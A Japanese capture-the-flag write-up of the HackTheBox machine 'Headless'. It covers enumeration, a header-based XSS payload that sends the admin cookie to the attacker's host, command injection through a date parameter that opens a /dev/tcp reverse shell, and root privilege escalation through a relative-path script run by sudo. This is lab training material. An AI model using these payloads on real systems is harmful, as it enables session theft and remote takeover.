HackTheBox Headless WriteUp

今回はHackTheBoxのEasyマシン「Headless」のWriteUpです！
頭がないという意味のマシンですが、一体どのような脆弱性があるのでしょうか。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/461bffeb-7ef0-e21c-999f-e4a60f7f991b.png)

グラフはいつものEasyマシンといった感じですね。
サクッと攻略目指して頑張ります！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Headless

### 列挙

それでは、攻略を始めていきましょう。
まずは```nmap```を実行していきます。

```bash
+[~/Desktop/HackTheBox]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -n -v -sS -p- --min-rate=1000 -A 10.10.11.8

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Tue, 23 Jul 2024 15:00:33 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
```

22番と5000番がオープンしていました。
とりあえず5000番にブラウザでアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f3a5b5de-d49a-3210-fc90-d540905916e5.png)

ウェブサイトへようこそというメッセージが表示されました。「For questions」というボタンがありますね。他には特に遷移が見えないので、ボタンを押下してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/222f3308-154b-25a6-07f3-094b3fcf7a08.png)

メッセージ（質問）を送ることができるフォーム画面が表示されました。とりあえず適当に入力して、「Submit」を押下しましたが、画面表示は特に変わらないため、BurpSuiteでリクエストが送信されているか確認します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/dac3b258-a2a9-a4d6-e792-b1798041eb07.png)

一応リクエストは送信されているようですが、あまり情報は得られませんでした。
他に目に見える遷移はないので、ディレクトリ探索をしてみることにしました。```ffuf```を実行します。

```
+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://10.10.11.8:5000/FUZZ                     

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.8:5000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

dashboard               [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 436ms]
support                 [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 189ms]
:: Progress: [20476/20476] :: Job [1/1] :: 105 req/sec :: Duration: [0:03:15] :: Errors: 0 ::
```

新たに「/dashboard」を発見しました。ブラウザで確認してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/5c7bc07d-1638-7bbe-2917-bee8bcefd983.png)

どうやら「/dashboard」へアクセスするためには、認証情報が必要であるみたいです。

### XSS

なかなか情報が落ちないので、メッセージ送信画面でガチャガチャやっていると、以下のようなメッセージが出力されました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ba1d1dba-19fa-4ee1-0cdf-5320cd678725.png)

私は、```<h1>test</h1>```という値を入力し、送信しました。どうやら```<>```がデータ中に入力されていると攻撃として検知されるようです。

:::note warn
ここで、注目するべき点は検知メッセージとともにヘッダーが出力されていることです。このヘッダーはメッセージを送信する際にリクエストとして送信するヘッダーです。つまり、この部分は制御できる出力となります。
:::

試しに、```HTB: Headless```というヘッダーを付与してヘッダー情報を出力させてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0f4d2638-b2a6-2aa2-415d-e52565941feb.png)

ヘッダーが追加されていることがわかります。
制御できることがわかったので脆弱性の調査に入りましょう。制御できる出力でよくみられる脆弱性は「SSTI」と「XSS」です。「XSS」はHackTheBoxではなかなか採用されることがないので、「SSTI」からチェックしていきます。
ヘッダーに```{{7*7}}```を入力し、リクエストを送信しましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e6afa52a-cb40-d89a-1805-933dc6031487.png)

そのまま出力されているので、「SSTI」は発火しそうにありません。では「XSS」を試してみましょう。```<script>alert(1)</script>```を入力し、リクエストを送信します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/44a160c1-5216-8a31-5e54-a6185a6191ef.png)

アラートが表示され「XSS」に脆弱であることがわかりました！
問題はこれをどうやって侵入につなげるのかですが、「/dashboard」と「cookie」の存在から一つの攻撃パスを思いつきました。

:::note warn
先ほど、「/dashboard」へアクセスした際に「認証情報が必要であること」が原因でアクセスを制御されてしまいました。おそらく「認証情報」とは「認証に成功した後に発行されるCookie」だと仮定すると、メッセージ送信の際に送信されている「is_admin」という名前のCookieの値が管理者であることを示すもの（有効なもの）であれば認証に成功するのではないかと考えられます。そのため「XSS」を悪用して管理者のCookieを摂取することでWEBの権限昇格に繋がり、さらなる列挙へと進むことができそうです。
:::

それでは実際にCookieの取得を試みます。ペイロードは以下のものを使用します。

```html
<script> image = new Image(); image.src='http://10.10.14.8:8888/?'+document.cookie; </script>
```

リクエストを送信する前に、Kali側でHTTPサーバを起動しておきましょう。

```bash
+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
```

準備ができたらリクエストを送信します

```bash
+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.14.8 - - [29/Jul/2024 12:50:32] "GET /?is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs HTTP/1.1" 200 -
10.10.11.8 - - [29/Jul/2024 12:50:37] "GET /?is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -
```

1つ目はペイロードを含んだリクエストのトークンですが、それとは異なるトークンを確認できました。
こちらのトークンを使用して、「/dashboard」へアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/9dbc8143-e7ba-f30f-75d4-25d8397f187f.png)

ダッシュボードへアクセスできました！

### Command Injection

では、ダッシュボードを調べていきましょう。とりあえず「Generate Report」を押下してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e728ee23-33ea-ee9f-5cfe-6ec3524ac7b3.png)

システムは稼働しているというメッセージが表示されました。それ以外に画面の変化はないので、リクエストを深堀ってみます。BurpSuiteで見てみましょう。

```
POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://10.10.11.8:5000
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1

date=2023-09-15
```

パラメータ名「date」に入力した値が指定されています。

:::note warn
この時点では、どのような脆弱性があるのか分かりませんが、日付を指定しレポートが作成されていることがわかるため、レポートを作成するようなコマンド実行されているのではと予想できます。コマンドが実行されている場合、コマンドインジェクションが発火する可能性があります。
:::

それでは日付の後にセミコロン（;）と```id```を追加しリクエストを送信してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/27ea4811-7596-bfce-4bcc-5361b4bb597a.png)

```id```コマンドが実行されました！

## dvir としてのシェル

コマンドインジェクションに脆弱であることがわかったので、シェルを取得しましょう。
まずは待ち受けを作成します。

```bash
+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
```

待ち受けが作成できたら、以下のコマンドを日付の後に追加します。

```
;bash -c 'bash -i >& /dev/tcp/10.10.14.8/2121 0>&1'
```

追加できたら、リクエストを送信し、待ち受けを確認しましょう。

```bash
+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.8] 53902
bash: cannot set terminal process group (1382): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ whoami
dvir
```

シェルの取得に成功しました！

```bash
dvir@headless:~$ ls -l
total 8
drwxr-xr-x 3 dvir dvir 4096 Feb 16 23:49 app
lrwxrwxrwx 1 dvir dvir    9 Feb  2 16:05 geckodriver.log -> /dev/null
-rw-r----- 1 root dvir   33 Aug  1 05:33 user.txt
```

ユーザフラグの取得もできました！

### 権限昇格

それではここから権限昇格を目指していきましょう！
まずは、```sudo -l```を実行します。

```bash
dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck
```

どうやら```syscheck```というスクリプトをNOPASSWDで実行できるようです。
スクリプトの内容を確認してみましょう。

```bash
dvir@headless:~$ cat /usr/bin/syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0
```

コードからカーネルの最終更新時間やディスクスペース、システムの稼働時間などを取得するスクリプトであることがわかりました。

:::note alert
```syscheck```という名前通りのスクリプトですが、コードの中に脆弱性があります。
それはなぜか相対パスで書かれている```./initdb.sh```です。相対パスのため、実行するカレントディレクトリに任意の内容の```./initdb.sh```を配置することで、任意のコマンドを実行させることが可能です。
:::

## root としてのシェル

では、脆弱性を悪用し権限を昇格させましょう。
ホームディレクトリ内に以下の内容の```initdb.sh```を作成します。

```bash
dvir@headless:~$ cat initdb.sh
bash -c 'bash -i >& /dev/tcp/10.10.14.8/2122 0>&1'
```

作成できたら実行権限を付与します。

```bash
dvir@headless:~$ chmod +x initdb.sh
```

リバースシェルを取得するための待ち受けも忘れずに。

```bash
+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2122 
listening on [any] 2122 ...
```

これで準備万端です！実行しましょう！

```bash
dvir@headless:~$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average:  0.00, 0.02, 0.00
Database service is not running. Starting it...
```

特にエラーは出てなさそうですね。待ち受けを確認してみましょう。

```bash
+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2122 
listening on [any] 2122 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.8] 35168
root@headless:/home/dvir# whoami
root
```

シェルを取得し、権限昇格に成功しました～！

```bash
root@headless:~# ls -l
ls -l
total 4
-rw-r----- 1 root root 33 Aug  1 05:33 root.txt
```

ルートフラグも取得し、完全攻略達成です！

### 攻略を終えて

今回のマシンはHackTheBoxでは珍しくXSSを悪用するものでした。XSSでCookieを取得してなりすます攻撃は好きなものだったので楽しかったです。それぞれの脆弱性はわかりやすく初心者の方にも強くおすすめできるマシンだなと思います。
個人的にはXSSを発火させる方法に感銘していました。どういうことかというと、今回普通のメッセージフォームにSSTIやXSSを発火させる文字列を入力すると、サーバが攻撃として検知し未然に防ぐ対策を行っていたと思います。しかし、その攻撃を検知した際に表示するヘッダーを自由に制御できたことで「XSSを検知させてXSSを発火させる」ことができました。こういった「一回検知した後の検知漏れ」は現実社会でも割とみられます。一度検知できたからといって気を緩めず最後までセキュリティ対策が届いているかを確実にチェックすることが重要ですね。
今後もHackTheBoxのWriteUpを公開していきますので、見ていただけると嬉しいです！
最後まで閲覧していただき、ありがとうございました！